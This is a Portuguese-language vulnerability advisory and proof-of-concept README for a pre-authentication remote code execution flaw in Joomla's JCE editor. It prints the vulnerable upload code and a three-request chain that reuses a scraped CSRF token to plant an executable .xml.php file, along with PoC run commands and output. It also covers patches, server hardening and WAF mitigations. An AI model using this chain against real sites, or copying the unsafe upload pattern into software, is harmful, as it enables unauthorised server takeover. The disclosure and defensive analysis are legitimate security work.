
CVE-2026-48907 é um RCE (Execução Remota de Código) pré-autenticação com CVSS 10.0 no Editor de Conteúdo do Joomla, afetando todas as versões ≤ 2.9.99.4. A equipe Grayxploit detalha a cadeia de 3 fraquezas — falta de autenticação, ausência de validação de extensão e uma flag de upload insegura — que permite que atacantes obtenham um shell em 3 requisições HTTP.
Exploit de prova de conceito para CVE-2026-48907 — uma vulnerabilidade de execução remota de código CVSS 10.0 sem pré-autenticação na extensão Joomla Content Editor (JCE).
Pesquisa por Grayxploit Security Team
CVE-2026-48907 é uma vulnerabilidade crítica de execução remota de código (RCE) não autenticada que afeta a extensão Joomla Content Editor (JCE) — o editor Joomla mais amplamente instalado — em todas as versões até e incluindo 2.9.99.4.
Ao encadear três fraquezas de segurança independentes no fluxo de importação de perfis do JCE, um atacante completamente não autenticado pode:
/tmp/ do servidorO ataque requer apenas 3 requisições HTTP e funciona em qualquer instalação padrão do Joomla executando uma versão vulnerável do JCE.
Pontuação CVSS v4: 10.0 — Crítica
Descoberta e divulgada publicamente pela equipe de pesquisa de segurança Grayxploit após divulgação responsável.
| Software | Versões Vulneráveis | Versão Corrigida |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (recomendada) |
Nota: A 2.9.99.5 introduziu a correção principal. A 2.9.99.6 adicionou camadas extras de hardening. Atualize para 2.9.99.6 ou superior.
A vulnerabilidade tem origem no endpoint de importação de perfis do JCE:
POST /index.php?option=com_jce&task=profiles.import
O JCE permite que administradores exportem e importem perfis de editor como arquivos XML. O manipulador de importação é acessível sem autenticação e aceita uploads de arquivos arbitrários devido a uma cadeia de três fraquezas independentes.
O controlador de importação não realizava verificação de ACL:
public function import()
{
// Única barreira: token CSRF — facilmente contornável
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … vai direto para manipulação de arquivos — sem verificação authorise()
}
O Joomla incorpora o token CSRF em cada página pública como uma meta tag ou variável JS:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
Um atacante simplesmente busca a página inicial, extrai o token e o reutiliza. A verificação CSRF impede requisições entre sites — ela não impede requisições scriptadas diretas. Não havia chamada a Factory::getUser() ou $user->authorise(...) em nenhum lugar do caminho de importação.
O manipulador de upload usava File::makeSafe() que apenas remove caracteres ilegais do sistema de arquivos — não valida ou restringe extensões de arquivo:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // remove caracteres ilegais apenas
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
Um nome de arquivo como shell.xml.php passa por File::makeSafe() sem alterações. O mod_php do Apache o executa porque a última extensão reconhecida é .php. Extensões como .php, .php5, .phtml e variantes de barras duplas eram todas aceitas.
File::upload() Chamado com $allow_unsafe = true (CWE-116)O File::upload() do Joomla possui uma lista negra de extensões embutida que bloqueia tipos de arquivo perigosos quando $allow_unsafe = false (o padrão):
// Assinatura do File::upload() do Joomla
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
O código vulnerável do JCE desabilitou explicitamente essa rede de segurança:
// VULNERÁVEL — uploads inseguros explicitamente habilitados
File::upload($source, $destination, false, true);
Este único booleano desligou toda a lista negra interna de extensões do Joomla, permitindo que .php, .php5, .phtml e todas as outras extensões executáveis fossem escritas no disco.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extrair csrf_token do HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (arquivo gravado em /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Resposta: "3105" (45 × 69 = RCE confirmado ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
Sem cookie de sessão. Sem nome de usuário. Sem senha. 3 requisições HTTP.
⚠️ Esta PoC é fornecida estritamente para pesquisa de segurança autorizada e testes de penetração. Não use contra qualquer sistema sem permissão explícita por escrito. O uso não autorizado é ilegal e antiético.
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] Target : http://localhost:9999
[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...
[+] CSRF token: abcdef1234567890abcdef1234567890
[] Step 2 — Uploading payload...
[+] Upload response: HTTP 200
[*] Step 3 — Triggering payload execution...
[CRITICAL] RCE CONFIRMED — CVE-2026-48907
Target http://localhost:9999 is VULNERABLE
Todas as três fraquezas foram corrigidas no JCE 2.9.99.5, com hardening adicional enviado no 2.9.99.6.
controller/profiles.php:
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
Usuários convidados (id = 0) falham authorise() imediatamente. A requisição é rejeitada antes de qualquer manipulação de arquivo.
models/profile.php:
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
PATHINFO_EXTENSION retorna apenas a extensão final. shell.xml.php → php → rejeitado. Neutraliza todos os bypasses de extensões múltiplas.
// Antes (vulnerável)
File::upload($source, $destination, false, true);
// Depois (corrigido)
File::upload($source, $destination, false);
A lista negra interna de extensões do Joomla é reativada como uma camada de defesa independente.
| Correção | Detalhe |
|---|---|
| Limite de tamanho de upload | Rejeita arquivos > 512 KB |
| Proteção contra XXE | libxml_disable_entity_loader(true) backportado para PHP 7.x |
| Lista branca de campos XML | Apenas chaves XML conhecidas e seguras são processadas; chaves arbitrárias são ignoradas silenciosamente |
/tmp/ via .htaccess<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
Este repositório destina-se exclusivamente a pesquisa de segurança autorizada, educação e testes de penetração em sistemas que você possui ou para os quais tem permissão explícita por escrito.
A equipe Grayxploit não é responsável por qualquer uso não autorizado, ilegal ou malicioso do código ou das informações fornecidas neste repositório.
Use com responsabilidade. Teste legalmente.
Este projeto está licenciado sob a Licença MIT.
Cada estrela ajuda esta pesquisa a alcançar mais defensores, pentesters e equipes azuis que precisam dela.
Grayxploit é uma equipe independente de pesquisa de segurança focada em descoberta de vulnerabilidades, desenvolvimento de exploits e divulgação responsável em plataformas web, ecossistemas CMS e software de código aberto.
| Prioridade | Ação |
|---|
| 🔴 Imediata | Atualizar JCE para ≥ 2.9.99.6 |
| 🟠 Alta | Bloquear ou restringir acesso web a /tmp/ no nível do servidor |
| 🟠 Alta | Desabilitar execução PHP em diretórios temporários via .htaccess ou configuração do servidor |
| 🟡 Média | Adicionar regra WAF para alertar/bloquear com_jce&task=profiles.import de sessões não autenticadas |
| 🟡 Média | Auditar outras extensões Joomla quanto a File::upload(..., true) sem validação de extensão |
| Data | Evento |
|---|
| 2026-05-XX | Vulnerabilidade descoberta pela equipe de pesquisa Grayxploit |
| 2026-05-XX | Divulgação responsável submetida aos mantenedores do JCE |
| 2026-06-XX | CVE-2026-48907 atribuído pela MITRE |
| 2026-06-XX | JCE 2.9.99.5 lançado — correção principal |
| 2026-06-12 | JCE 2.9.99.6 lançado — hardening adicional |
| 2026-06-12 | Divulgação pública pela Grayxploit |
| Nós Encontramos | Nós Divulgamos | Você Defende |
|---|---|---|
| RCEs sem autenticação | Responsável e publicamente | Com nossa análise detalhada da correção |
| Falhas de lógica | Com análise completa da causa raiz | Usando nossas PoCs com segurança |
| Vulnerabilidades encadeadas | Antes da exploração em massa começar | Mais rápido que os atores de ameaças |
Tem uma dica ou quer colaborar? Abra uma Issue ou entre em contato pelo nosso perfil no GitHub.
CVE-2026-48907 — Pesquisa original por
Quebrando coisas. Responsavelmente.